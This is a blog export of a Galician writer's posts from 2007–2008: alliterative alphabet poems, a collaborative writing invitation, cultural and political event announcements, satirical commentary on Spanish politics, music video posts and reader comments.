repartem
reptos
repentinos.
Ressuscito.
Eugénio Outeiro
----- -------- AUTHOR: Lugris TITLE: D (Eugénio Outeiro) BASENAME: d DATE: Sat, 09 Feb 2008 12:24:58 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: D TAGS: ----- BODY:Dedos descendo devagar dermes dormintes.
Decurso de danças digitais
decrescendo distâncias
donde domina o decoro
Didáctica de doidos dançarinos
dentro do denso dia
Dádiva do desejo despertada
Eugénio Outeiro
----- -------- AUTHOR: Lugris TITLE: C (3) (Eugénio Outeiro) BASENAME: c_3 DATE: Sat, 09 Feb 2008 12:22:24 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: C TAGS: ----- BODY:Canta como consolo
Como calandra canta.
Contornos côncavos convergem
com cataclismos cíclicos.
Caminhos certos continuam.
Contudo corpos catárticos comprimem
cactos contra camélias.
Certos caminhos cessam
contando cornucópias cerceadas.
Eugénio Outeiro
----- -------- AUTHOR: Lugris TITLE: A (2) (Eugénio Outeiro) BASENAME: a_2 DATE: Sat, 09 Feb 2008 12:20:52 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: A TAGS: ----- BODY:Amor ama antíteses
Eugénio Outeiro
----- -------- AUTHOR: Lugris TITLE: Ela. Ribeirinha BASENAME: ela_ribeirinha DATE: Sat, 09 Feb 2008 10:40:43 +0000 STATUS: publish PRIMARY CATEGORY: sms CATEGORY: Cousas por aí TAGS: ----- BODY:Estrea da curtametragem "Ela.Ribeirinha" de Pedro Vila Táboas, na sexta-feira 15 de Fevereiro às 21.45h, nos Cinemas Verdi de Barcelona. Entrada Gratuita. Contamos com vós!!!
Versom original em língua galega, a curtametragem de 10 minutos, em formato de 35mm., dirigida por Pedro Vila Táboas conta a história dumha mulher de 75 anos, que todos os días aguarda na mesma rocha a que o seu marido, teoricamente morto na Guerra do 36, volte. A única relaçom com a vizinhança, é com Chelo, umha mulher de 35 anos, que todos os dias a recolhe na rocha e a leva a misa, para depois deixá-la na casa. Mas umha visita inesperada fai que algumha cousa se mova no tempo de Ela.
Com guiom e direcçom do galego Pedro Vila Táboas (agora estudante do Centre d'Estudis Cinematogràfics de Catalunya, mas a quem muitos lembraram como cozinheiro do Maria Castanha, na rua da Rainha, em Compostela), montagem de Olga Elías, e fotografía dirigida por Susana Sanz Revert, a curta conta com a interpretaçom de Pilar Bardem, Jaime Sio, Cristian Maristany e Gena Baamonde.
----- -------- AUTHOR: Lugris TITLE: C (2) (Paulo V) BASENAME: c_2_paulo_v DATE: Sat, 09 Feb 2008 08:33:04 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: C TAGS: ----- BODY:Carlos Couto Carvalheira comia carne correntemente com colegas corunheses. Coa cunhada Carminha Castro (conhecida cabareteira cedeiresa com categoria consagrada) comia cousas com certa categoria: colibri com cardos, camaróns com cucurbitáceas, cetáceos com cebolas. Comia, comia, comia... como comia caramba! como caótico cínico, claro! Conseguiu comer caladinho cinco cousas carnosas: cabrito cozido, codornizes, cenouras cilíndricas, cigalas, cogumelos...
Paulo V
----- -------- AUTHOR: Lugris TITLE: Ecos do abecedário BASENAME: ecos_do_abecedario DATE: Fri, 08 Feb 2008 16:47:59 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário TAGS: ----- BODY:A iniciativa "Escreve o abecedário", achou já certo eco na rede. Tanto o Portal Galego da Língua, quanto Vieiros recolhem a ideia, e dam-lhe publicidade. Aguardamos as primeiras aportaçons.
----- -------- AUTHOR: Lugris TITLE: C BASENAME: c DATE: Fri, 08 Feb 2008 12:09:27 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário CATEGORY: C TAGS: ----- BODY:Criamos cinco cabalísticas cartografías circulares, cinco códigos clándestinos: cada camarada cometeria complicados crimes capitais contra célebres catedráticos cúmplices.
Cabaleiros católicos construiram caóticas culpabilidades casuísticas.
Competentes coengos coaligados colaboraram, conseguindo cobizadas coartadas coerentes.
Colapsando completamente comisarias con cruentos complots, confusas conspiraçons, contumaces conjuros, chantageamos cento cinqüenta construtores corruptos, cachados con canábicas cachimbas.
Covardes cidadaos cinsentos, com cínicos críterios chauvinistas, correram como comisários cabreados con catarro, carregados com crápulas culpáveis, com caciques cagainas, com camaleónicos candidatos.
Catorce cantimploras com catinga cangerígena culminaram, certeiramente consumados, cada complicado, críptico, crucial, crime. Calcinados cadáveres caníbales caminharam carreiros, corredoiras, canavais, congostras, calelhas...
Cansos, cantando cançons cátaras, cavalgaremos camuflados característicos cavalos cachazudos, contabilizando catástrofes, calamidades, catatonias.
Igor Lugris
----- COMMENT: AUTHOR: Paulo V [Visitante] DATE: Sat, 09 Feb 2008 02:30:18 +0000 URL:Carlos Couto Carvalheira comia carne correntemente com colegas corunheses. Coa cunhada Carminha Castro (conhecida cabareteira cedeiresa com categoria consagrada) comia cousas com certa categoria: colibri com cardos, cetáceos com cebolas, camaróns com cucurbitáceas… comia, comia comia… Como comia caramba! como cícico caótico, claro! Conseguiu comer caladinho cinco cousas carnosas: cabrito, codornizes, cenouras cilíndricas, cigalas, cogumelos…
----- -------- AUTHOR: Lugris TITLE: Escreve o abecedário! BASENAME: escreve_o_abecedario DATE: Thu, 07 Feb 2008 16:41:32 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário TAGS: ----- BODY:Lembras-te do Cadáver Esquisito "Há umha certa luz incompreensível na distáncia"? Pois agora envio-te umha nova proposta para seguirmos a jogar com a literatura.
Trata-se da iniciativa "Escreve o abecedário". De quê é que se trata?
Pois é bem simples: trata-se de escrever umha série de textos, com vontade literária, que contenham só palavras que comecem sempre pola mesma letra. Por exemplo, textos que contenham palavras que comecem so pola letra A, ou polo B, polo C, etc... E também, se es capaz ou queres intentá-lo, textos que contenham palavras que comecem por cada umha das letras do abecedário e colocadas obrigatoriamente por orde alfabética. Por exemplo, um texto que comece: "Ainda baixavam carros da estrada ferrolá...". Podes ver os primeiros textos feitos com o A, o B, o C e o D no meu blog.
Como no caso do Cadáver Esquisito, as normas e a forma de funcionamento som poucas e simples. A participaçom será por meio dos corrreios electrónicos: em quanto tenhas um texto, envias-mo (ilugrisarrobahotmailpontocom), eu eu subo-o ao meu blog. Assina-o, com o teu nome ou pseudónimo.
Podes enviar este convite a quantas pessoas desejes.
O resultado? Um feixe de textos curiosos e participativos, prontos para podermos seguir a jogar com eles.
As condiçons, ao igual que na anterior ocassom, é que os textos devem ser feitos em galego-português (independentemente de qualquer normativa).
Umha mesma pessoa poderá participar quantas vezes desejar, empregando a mesma ou diferentes letras para construir os seus textos.
Permite-se a cópia, o plágio, o calco, e a aportaçom inspirada em obras doutras pessoas (participantes ou nom nesta rede).
Mais umha vez, ficas convidada/o a participar, se queres, se podes, neste experimento, neste jogo.
Lemo-nos na rede. Vemo-nos na literatura. Omnia sunt comuna!
----- COMMENT: AUTHOR: GIOVANAN MÁRCIA [Visitante] DATE: Fri, 04 Feb 2011 18:19:53 +0000 URL:A
B
C
EU VOU TE ESCREVERA
Isto dos costumes que propom Rajoi, de nom ser porque mete medo, ainda dava para fazer umhas piadas.
Porque di o diccionario, por exemplo, o e-Estraviz, que costume é: ?s. m. (1) O que se costuma fazer comum e habitualmente. (2) Modo de proceder habitual contraído pola repetiçom continuada de feitos. (3) Prática antiga geralmente observada por todos. (4) Prática que polo seu uso geral e antigo recebe força de lei. (5) Moda: o costume de as mulheres levarem calças é geral. (6) Hábito: tem o costume de estar sempre a ler. (7) Particularidade: tem o costume de fungar. De costume, por costume: segundo o modo habitual. O costume faz lei: é difícil de contradizer o que está sancionado polo uso. pl. (1) Conjunto de qualidades, inclinações, usos, que formam o carácter diferenciador de uma pessoa, povo ou uma raça. (2) Comportamento, modo de proceder: é homem de bons costumes. Sinóns. Hábito, usança, uso, modo, maneira, estilo, vezo [lat. *consuetumine, por consuetudine].
Por tanto, a lista de costumes españolas (é evidente que o Mariano Rajoi refere-se exclusivamente aos costumes espanhois, ESPANHOIS-ESPANHOIS de verdade) que as pessoas emigrantes deveriam practicar é imensa. Por exemplo: o costume da ?siesta?, a soneca reparadora depois do jantar, que pode ser de dez ou quince minutos no sofá, ou de hora e meia/duas horas na cama (?siestas de pijama y orinal?, que lhe chamam). Deverám as pessoas emigrantes botar umha soneca depois do jantar obrigatoriamente quando menos tres ou quatro días à semana, e os mais integrados, e con clara vontade de residir permanentemente no territorio do Estado, ou no caso de emigrantes afiliados ao P.P., todos os dias, Domingos incluidos, por suposto. Nada de protestar: durme-se porque assim consta no contrato.
Outro costume. Esse peculiar habito de nos bares e nas cafetarias guindar todo ao chao: restos de comida, guardanapos, mondadentes, as cascas dos manises e as pipas, chicletes, etc... Em prácticamente nengum país do mundo ocorre isso, e às pessoas que provenhem de Latinoamérica, por exemplo, parece-lhes inaudito que se faga. Mas tudo seja pola integraçom: a lixar os bares e as cafetarias, ?igual que qualquer pessoa normal?, que diria o Rajoi.
Ainda mais? Um costume do que estes dias também fala a imprensa e o conjunto dos meios de comunicaçom burgueses: prácticamente a metade dos e das españolas (quer dizer, dos cidadaos que pertencemos ao Estado), nom lé nengum livro. Em vista disso, de cada duas pessoas que obtenham permiso de residencia, umha comprometerá-se a nom ler livros (haverá que pedir um ditamem ao Tribunal Constitucional sobre a possibilidade de ler jornais e revistas). Ainda mais, nos seus papeis constará umha legenda que dirá mais ou menos: permiso de residência com direito a trabalho sem direito a leitura de livros. Por suposto, nada de fazer-se sócios/as dumha biblioteca.
Poderiamos seguir com costumes hispano-espanholas: nom visitar museus; berrar e fazer sempre todo o ruído possível mesmo sem importar se se molesta às pessoas que estám ao nosso redor; cuspir no cham; ser racista e xenófobo; explorar aos/às trabalhadoras com horas extras nom pagas, sem direito a ferias, etc...
Em fim, o repertorio é infinito. Mais ou menos igual de grande que a capacidade do PP para ser ?normal? y preocupar-se do que lhe preocupa ?à gente normal?.
Baloreciam buliciosas borbulhas baleiras. Boas baratas bloqueiavam brumosas baías balsámicas.
Badaladas. Balbordo. Barulho. Bazóficos bichos batucavam.
Bestiário brutal.
Bárbaros babecos baduando baixo bucolícos balandros benditos: bagaços, bandalhos, baralhocas, bagunceiros.
Bouravam banqueiros, batalhavam bandoleiros, batujavam bandidos baralhados, barafunda brutal. Beneficiados bufóns burocratas baqueavam. Balbuciavam baldios baleeiros balcánicos.
Balofos balseiros benevolentes berravam barbaridades. Bruscas bestas berrugosas brigavam. Balordos bálticos bambeavam bambús bananeiros. Biblíco bambúrrio banal.
Bicéfalos beatos bicelulares, bezerros bexigosos batizados, bicavam bicampeons bibliotecários bífidos. Benignos benfeitores benziam bastardos belfos batoteiros.
Igor Lugris
----- -------- AUTHOR: Lugris TITLE: Emigrados no Bierzo... BASENAME: emigrados_no_bierzo DATE: Fri, 01 Feb 2008 16:03:12 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Mais um ano, volta o ciclo de Teatro "Lenguas a Escena", que organiza a Escola Oficial de Idiomas de Ponferrada, em colaboraçom com o Teatro Bergidum, de Ponferrada.
Neste ciclo, representam-se no Teatro obras nas diferentes línguas que podem ser cursadas na EOI, a um preço especial de só 3 euros a entrada. As representaçons som às 19.00h., agás a de língua galega, que tem lugar no horário habitual de representaçom, às 21.00h., dado que a direcçom do Teatro entende que é umha obra que pode ser vista sem nengum tipo de problemas, polo público habitual da sala. O que nom se entende é que se realmente acredita em que isso é assim, porque é que nom programa esse Teatro mais obras na nossa língua, também língua autóctone do Bierzo, ao longo do ano? Mas bom, isso é outro cantar, ou contar.
A questom é que, nesta ocassom, Teatro de Ningures chega com a sua obra "Emigrados".
A terça-feira 19 de Fevereiro, às 21.00h., poderemos ver em Ponferrada esta obra, na que as actrizes e os actores Casilda García, Sonia Rua, Mónica Camanho, Pepa Barreiro, Santiago Cortegoso, Fran Paredes e Salvador del Río, dam vida às reflexons de cinco autores/as sobre um fenómeno bem conhecido na Galiza do século XIX, na do século XX e também, por desgraza, na do século XXI: a emigraçom.
Sobre textos de Cándido Pazó, Xosé Manuel Pazos, Suso de Toro, Anxos Sumai e Sonia Torre, Etelvino Vázques, dirige esta obra-mosaico. A escenografia esta desenhada por Pablo Giráldez "Pastor" e o vestiario por Carlos Alonso. Anxo Graxa é autor da música e Etelvino Vázquez é também responsável da iluminaçom.
Nom temos mais que recomendar a todas as pessoas do Bierzo a que asistam, e/ou que transmitam esta informaçom a todos os seus contactos. Para além de pasarmos umha noite agradável, é umha boa oportunidade para demostrar a vitalidade do movimento em defesa da língua, da nossa língua, da língua do Bierzo, em Ponferrada.
Alvaro alucinava, absorto, ante aquel areal amarelo, aberto, agre...
As antigas aves alejandrinas ajudava-no a alterar as alfandegas árticas.
Albiscou a abafante angústia adherida à adolescência: as amizades anodinas atormentavam às autotinhadas a agitada atracçom asfixiante, ardente, aquecente.
Abacelara ansioso as agonias, as angueiras, as anhelantes arelas, ante aquela alteraçom areenta.
Agora, atoava-se. Aprendera a amar aguilhoando as auténticas anatomias atlánticas.
Admitiu-no. Admirava à alquimista: argüia astúcias, atesoirava artefactos, analisava artimanhas,... Abriu a alma, asumiu a armadilha. Afligido, ambicionou amáveis auxílios.
Acenou a acçom. Adivinou a auténtica audácia. Agir actualizaria a alegria. Alvoroçava-se.
A arma apontava às avessas. Atirou.
Igor Lugris
----- COMMENT: AUTHOR: Nelson de Moura Silva [Visitante] DATE: Thu, 04 Aug 2011 17:34:15 +0000 URL: http://www.ednalvapoeta.adm.brConsiderando texto com palavras sempre começando com a mesma letra, deixo a pergunta: como se chama este estilo de escrita? De acordo com definições pesquisadas, pode dizer que não é assonância, paranomásia, trava-lingua… então o que é?????????? Agradeço enviar resposta para meu email nelsonmourasilva@ig.com.br
----- COMMENT: AUTHOR: estibalilith [Visitante] DATE: Fri, 08 Feb 2008 11:36:19 +0000 URL: http://www.estibalizes.wordpress.comajá, amigo, ajá
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 01 Feb 2008 10:37:59 +0000 URL: http://www.tangaranhovermelho.blogspot.comRapaz, és um génio…
----- -------- AUTHOR: Lugris TITLE: Com Rajoi é possível BASENAME: com_rajoi_e_possivel DATE: Thu, 17 Jan 2008 16:26:16 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: TAGS: ----- BODY:Nos primeiros dias de Dezembro passado, estivem na capital do Império Pequeno de Bourbónia, e havia umha cheia de cartazes que sob a legenda "Com Rajoi é possível" (em bourbónico idioma, evidentemente), incluiam algumha outra palavra de orde. No primeiro momento pensei que era umha campanha da pre-precampanha eleitoral do PSOE ou das suas "Senectudes Socialistas", mas nom: era umha campanha do P.P.
Resulta, que se atreverom a fazer uns cartazes que diziam: "Chegar a fim de mês. Com Rajoi é possível".
Hom, e tanto que sera possível. Tendo em conta que o tal Rajoi, Mariano para mais senhas, chega a final de mês levantando-se, entre o que cobra como deputado e o que lhe paga o seu partido por ocupar o posto de Lider Máximo, oito mil euros, teria conha que nos vinhera o tal gicho a nos dizer que tinha problemas para chegar a fim de mês.
Como a broma nom lhe deveu parecer suficiente, agora anuncia que a sua empresa, o PP, contrata ao grande empresário Manuel Pizarro, home com apelido de conquistador, que seguramente ainda cobrava mais que el no seu anterior posto: Chefe Máximo da privatizada e mais que rendível ENDESA, e que deveu levar-se, a maiores, umha quantidade de quitar o hipo por deixar o posto em conceito de "indenizaçom".
Com Pizarro e Rajoi, chegar a fim de mês é possível! Entre os dous, devem cobrar algo assim como 20 ou 30 vezes o Salário Mínimo Interprofissional!
Olhai bem o vídeo, porque para alem do interese artístico-musical, e mesmo político, fai-se umha reivindicaçom da teta..., da lactáncia materna.
E é que, como deveria dizer a palavra de orde que alguem deveria por a circular, "a Teta é Revolucionária!".
[youtube]PEj7jnR--Dg[/youtube]
----- -------- AUTHOR: Lugris TITLE: Memória para construir futuro BASENAME: memoria_para_construir_futuro DATE: Thu, 22 Nov 2007 10:22:28 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Coincidindo com o Dia Internacional da Non Violéncia contra as Mulheres, a Estrela Vermelha de cinco pontas, que engloba a diversos sectores da esquerda anticapitalista do Bierzo, entre os quais está a esquerda independentista representada por NÓS-UP, convoca umha nova jornada de homenagem e debate, sob a palavra de orde "Memória para construir futuro".
Nesta ocassom, às 12.30h. realizará-se umha homenagem a todas as mulheres que participarom, dumha ou outra forma, com as armas na mao ou colaborando com ela, na guerrilha antifascista. Representadas no nome de Alida González Arias, integrante do grupo de guerrilheir@s antifranquistas de Girom, que operou no Bierzo desde o 36 até o 51, recuperará-se a memória dos centos de mulheres que com a sua actividade, com o seu esforço, com o seu sacrificio, figerom frente à barbárie fascista. O acto celebrará-se no cemitério de Salas dos Barrios, em Ponferrada, onde Alida González Arias, falecida em Setembro de 2006, está soterrada.
Pola tarde, a partir das 17.00h., terá lugar, no bar "Lauburu" de Ponferrada (zona alta, acarom do Campus) umha "Charla-Colóquio sobre as nossas luitas presentes e futuras: carestia da vida, problemas da vivenda, precariedade, etc...", com a participaçom do sindicalista e trabalhador da construçom Angel Luis Parras.
Com este novo acto, este espaço comum de trabalho e debate que a esquerda anticapitalista vai conformando no Bierzo, desde a pluralidade e o reconhecimento da diversidade das identidades que o conformam, dá um novo passo no caminho da sua consolidaçom.
O portal de Primeira Linha, publica-me o seguinte artigo, escrito nestes dias, ao fio da actualidade monárquico-espanhola.
A democracia espanhola gosta do silêncio
A ?democracia espanhola?, ficou bem reflectida nas palavras do Bourbon na Cimeira ?Ibero-americana? de Chefes de Estado e de Governo decorrida no Chile, e nos acontecimentos a que deu lugar.
A verdade é que já o cenário se vinha preparando nos últimos dias, nas últimas semanas: perante o evidente descrédito da monarquia e dos membros da Casa Real espanhola entre amplas e diversas camadas da populaçom do Estado espanhol, sobretodo visibilizadas depois do 'affaire' com a publicaçom satírica El Jueves, e agravada polo facto das queimas de fotografias do Bourbon em diferentes pontos do Estado, especialmente nos Países Cataláns, a maquinaria do sistema pujo-se a funcionar para fazer ressurgir a imagem do rei espanhol. Algumha mente bem-pensante do progressista socialismo eZpanhol e eZpanholista tivo a grande ideia de levar aos Reis a Ceuta e Melilha, às últimas colónias no continente africano, para fazer um alarde de espanholismo, e poder ondear tranqüilamente centenas, milhares de bandeiras.
Os comentários esses dias na imprensa (quando se fala da monarquia, toda a imprensa é ?oficial?), eram para rir e chorar. Presumiam todos tanto da espanholidade daquelas duas cidades que um nom podia mais que lembrar-se do famoso ditado: ?Di-me do que pressumes, e direi-te de que careces?. Quando tam necessário é repetir umha e mil vezes que Ceuta e Melilha som espanholas, é que mais de umha dúvida oferece essa questom.
Mas o rei espanhol, como os toureiros das praças, saiu em ombros, e as televisons queriam-nos fazer acreditar que aquelas imagens de milhares de ?espontáneos? súbditos, e súbditas, ?a improvisar? bandeiras espanholas por toda a cidade, e a aclamar das formas mais ridículas possíveis o monarca, eram o fiel reflexo do sentimento que existia unanimemente na Península. A mais de um passárom-lhe novamente pola cabeça as imagens das concentraçons que o Caudilho (que, já agora, foi o único espanhol que elegeu livremente o actual rei), convocava na madrilena praça de Oriente. Só que agora, o progre era dizer que aquilo, o de Ceuta e Melilha, nom estava preparado, que era fruto da espontaneidade popular e do amor ao rei por parte dos seus espanholíssimos súbditos africanos. De socato, o maior problema existente no Estado espanhol era defender a espanholidade dessas duas cidades, e nom o preço da vivenda, o baixo nível aquisitivo dos salários, a subida do custo da vida, os graves acidentes laborais que se repetem dia após dia, ou, por nom citarmos mais exemplos, o terrorismo machista que tranqüilamente impom a sua ?normalidade?.
E nessas andávamos, a saborear ainda essa grande epopeia da Casa Real, essa grande gesta heróica e histórica, quando no caminho se interponhem uns ?indocumentados?, ?atrasados? e ?ignorantes? chefes de estado e de governo que se atrevem a dizer as verdades que todos sabem, que todos sabemos, mas que ninguém, num acto dessas características, se atreve a dizer.
E qual é a reacçom do máximo representante do Estado espanhol perante tamanha afrenta? Pois a mesma que vem usando nos últimos anos a ?democracia espanhola?: que nom gosto de um periódico? fecho-o; que nom gosto de umha rádio? fecho-a; que nom gosto de umha organizaçom política? ilegalizo-a. Que nom gosto das palavras de um legítimo presidente de Governo de outro estado? mando-o calar. E se nom calar? Pois entom, abandono a reuniom, para nom o escuitar.
A ?democracia espanhola? nom atende á realidade: simplesmente, quando nom gosta dela, silencia-a, nega-a, oculta-a. Manda-a calar.
E, com certeza, ao dia seguinte, e posteriores, todos os meios de comunicaçom a repetir incessantemente, sem darem a oportunidade à mais mínima dúvida, que o Bourbon estivera estupendo na sua actuaçom. Nom havia suficientes palavras nos dicionários, todo era desmesurado: galhardia, dignidade, honra, grandeza, esforço, valor, nobreza, valentia, coragem, determinaçom, fortaleza, talento, brio, capacidade, audácia, carácter, autoridade... Devérom terminar com os dicionários de sinónimos esgotados...
Todos a repetir, sem nengum rubor, as louvanças mais exageradas ao monarca, sem se atrever ninguém, em nengumha rádio, periódico ou televisom, a fazer a mais mínima crítica, por pequena que fosse, à atitude do rei espanhol, ao tempo que se ridicularizava e mesmo se insultava Hugo Chávez e Daniel Ortega, Chefes de Estado eleitos democraticamente polos seus povos, e nom eleitos por mandato divino ou por mandato de um anterior ditador fascista.
Se ao dia seguinte, algum meio de comunicaçom venezuelano ou nicaragüense, falasse do Bourbon em termos de 'ignorante', 'maleducado', 'símio', 'nazi' ou similar, a imprensa espanhola estaria a pôr o grito no céu, mas em Espanha bem que se pudérom ler artigos e escuitar opinions a empregar esses e outros qualificativos ainda piores, e sem se darem ao esforço de expor as opinions e as visons da parte contrária. E como todo é umha farsa absoluta, convertem em grande sucesso de tons e politons a famosa frase. (Isso é como quando os británicos, para presumirem do grande amor que o seu povo tem à sua monarquia, ensinam como até tenhem penicos como as imagens da rainha ou do seu filho no fundo...)
Mais umha vez, a democracia espanhola gosta do silêncio: do silêncio de quem se afasta do discurso oficial, de quem ainda resiste à estupidez e à asneira que o pensamento único espanholista pretende impor.
----- -------- AUTHOR: Lugris TITLE: Os animais de dous em dous, uáh, uáh!! BASENAME: os_animais_de_dous_em_dous_uah_uah DATE: Wed, 07 Nov 2007 22:43:50 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: TAGS: ----- BODY:A uns poucos dias que descobrim este video dos Luar Na Lubre no Youtube. O Xende, que vai celebrar o seu segundo aniversário dentro de pouco, já quer cantar esta cançom, e di com ritmo "uáh, uáh!"
[youtube]Koe9NAby8Vs[/youtube]
----- -------- AUTHOR: Lugris TITLE: A luita continua! BASENAME: a_luita_continua DATE: Mon, 20 Aug 2007 15:32:21 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Estivemos no Sábado da semana passada, como nom podia ser doutra forma, na Jornada organizada pola esquerda anticapitalista berziana. De manham, no roteiro de homenagem aos guerrilheiros e guerrilheiras antifranquistas berzianas, nas Pontes de Malpaso. De tarde, no encontro sobre a situaçom do mundo laboral, em Carracedelo.
Foi umha jornada muito interessante, onde os e as organizadoras ficamos contentes polo sucesso da convocatória. No roteiro participamos perto de quarenta pessoas, e depois de chegar à Ponte grande, com parada na Ponte pequena para nos refrescar e descansar um pouco, celebramos o jantar de confraternizaçom e desenvolvimos umha animada e muito interesante conversa sobre diversos aspectos relacionados com a resistência antifascista no Bierzo, com as internvençons de Quico e Ramiro Vidal, e doutras várias pessoas assistentes. O acto culminou com o cántico de diversas cançons, entre elas o Grândola.
No acto da tarde, juntamo-nos perto de 60 pessoas, para falarmos sobre a situaçom do mundo laboral no Bierzo, e intercambiarmos experiências, pessoais e colectivas, contando com a animada intervençom de vários companheiros e companheiros que nos contarom as suas experiências na precariedade, as subcontratas, etc... e com a introduçom de Laurentino, que nos contou parte da sua intervençons sindical nos últimos anos e a actividade da Rede contra a Precariedade de Barcelona.
E as actividades relacionadas com a recuperaçom da memória histórica e a luita contra a simbologia fascista continuam. Esta semana, em Ponferrada, poderemos asistir ao acto de apresentaçom do livro de memória de Benjamim Rubio "Memórias de la lucha antifranquista", o dia 22 às 19.00 na Casa da Cultura de Ponferrada.
E para termos memória da actual luita contra a simbologia fascista ainda presente nas nossas ruas, nas nossas vilas, nas nossas aldeias e cidades, deixo-vos este interessante vídeo.
[youtube]lNXWK9M5azs[/youtube]
----- -------- AUTHOR: Lugris TITLE: A estrela vermelha caminha polo Bierzo BASENAME: a_estrela_vermelha_caminha_polo_bierzo DATE: Wed, 08 Aug 2007 06:32:35 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Neste Sábado, 11 de Agosto, diversos sectores da esquerda anticapitalista do Bierzo (entre os que se atopa a esquerda independentista galega organizada nesta nossa comarca irredenta, NÓS-UP), agrupados baixo a imagem da Estrela Vermelha de Cinco Pontas, organizamos umha jornada com diversas actividades de recuperaçom da memória histórica e reflexom sobre a construçom de alternativas para o presente e o futuro.
Às 11 da manhá, haverá um roteiro até as Ponte de Malpaso, partindo de Molina Seca, como homenagem e reconhecimento à luita das e dos guerrilheiros antifranquistas. No acto, participará o Francisco Martínez López, "Quico", membro do grupo do mais conhecido guerrilheiro da zona, o Girom, e o Ramiro Vidal Alvarinho, poeta e activista social. Ali mesmo, nas Pontes de Malpaso, celebraremos um jantar de confraternidade.
À tarde, a partir das 18.00h., e na Taberna "Che" de Carracedelo, celebraremos um encontro sobre a situaçom do mundo laboral no Bierzo (precariedade, subcontratas, juventude, emigraçom...), contando com a participaçom do Laurentino González, membro da Rede contra a Precariedade de Barcelona, e natural do Bierzo.
Aguardamos poder contar com vós nesta jornada de reivindicaçom e memória, e que lhe deades publicidade entre os vossos contactos à mesma.
----- -------- AUTHOR: Lugris TITLE: A luita é o único caminho BASENAME: a_luita_e_o_unico_caminho DATE: Mon, 06 Aug 2007 18:00:25 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Fim de semana com actividades várias é o próximo.
O Sábado 11, terá lugar no Bierzo umha jornada de homenagem à guerrilha anti-franquista e de recuperaçom da memória e construçom de alternativas baixo a legenda "Memória Dignidade e Luita", da que informaremos nos próximos dias.
Em Trasancos, os e as companheiras da Assembleia Comarcal de NÓS-UP comemorarám o Sábado 11 o XXXII Aniversário da queda em Combate do militante comunista José Ramom Reboiras Noia, Moncho Reboiras. Às 20.00h., no Ferrol, na Rua da Terra, onde caiu assassinado pola polícia espanhola, terá lugar umha oferenda floral e um acto político com as intervençons de Carlos Garcia Seoane, Responsável Comarcal de NÓS-UP em Trasancos, e um/ha militante do Grupo de Base de BRIGA.
A homenagem junta as memórias de Moncho Reboiras e do Che Guevara, sob a legenda "Moncho Reboiras - Che Guevara. Dous exemplos a seguir. A luita é o único caminho".
José Ramom Reboiras Noia (Imo, 1949- Ferrol 1975), foi um militante revolucionário galego pioneiro na organizaçom do sindicalismo nacionalista e dirigente da Frente Armada da UPG. Foi assassinado pola polícia espanhola em 12 de Agosto de 1975 na Rua da Terra.
----- -------- AUTHOR: Lugris TITLE: Nascer, renascer, parir... na morada BASENAME: nascer_renascer_parir_na_morada DATE: Fri, 03 Aug 2007 17:18:51 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: TAGS: ----- BODY:Rosa Zaragora, umha grande voz, no seu disco "Nacer, Renacer", onde trata o tema do parto natural e todo o que lhe acompanha (partos respeitados, respeituosos, lactáncia materna, etc...), oferece esta estupenda rumba, cantada em espanhol, mas também em basco, catalam e galego.
Umha estupenda cançom, e um marabilhoso vídeo.
[youtube]am8xR1riPyY[/youtube]
Recomendado e recomendável.
E para quem queira seguir na procura do tema do parto e a lactáncia, que lembre que há muitas páginas na rede, e que na Galiza existem vários grupos de mulheres a trabalhar nisso: Mámoa, Bico de Leite, Lactabebe, O Parto é Noso, etc...
Igor, no pude publicar donde el video de la Cardone gracias por indicarmelo, no sólo la teta es revolucionaria, si no que usa un portabebé tradicional, doble alegría para mí :)Se lo voy a mostrar a unas amigas…
La canción ya la conocía, me encanta la voz de Natalie Cardone, pero el video no lo había visto nunca,
Una vez más, gracias…
Besiños
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 29 Sep 2008 16:08:27 +0000 URL:Patricia: obrigado pola tua visita. A ver se gostas também do vídeo que sai no post “A teta é revolucionária": Natalia Cardone cantando o “Até sempre, Comandante".
Beijos.
Gracias por descubrirme esta rumba tan linda, te la copié para mi blog ;-)
Besiños
Galiza é bem pequena, é certo. Mas hoje nom mo parece.
Por primeira vez em nem-sei-quantos anos (nom menos de 20), nom estarei em Compostela para o Dia da Pátria.
As e os que sim vades estar, as e os que já estades lá: lembrai-vos de quem nom vai poder estar e, dentro ou fora da Galiza, dentro ou fora da CAG, perto ou longe, nom poderá estar percorrendo as ruas, berrando na Alameda, compartilhando horas, cánticos e sentimentos com camaradas, companheir@s e amig@s.
Daqui, do Bierzo, das terras galegas negadas por umha Constituiçom e um Estatuto que, reformados ou nom, nom ham resolver os problemas da nossa Naçom e do seu povo trabalhador, envio umha saudaçom para quem, esta noite já está a celebrar o nosso Dia, o Dia da Nossa Pátria, e para quem, manham, esteja na Alameda para berrar, com novos folgos, e junto a outras vozes: "In-de-pen-dên-ci-a!"
Saúde e Terra!!!
Saúde e Língua!!!
Viva Galiza Ceive!!!
Viva Galiza Socialista!!!
Viva Galiza nom-patriarcal!!!
A luita é o único caminho!!!
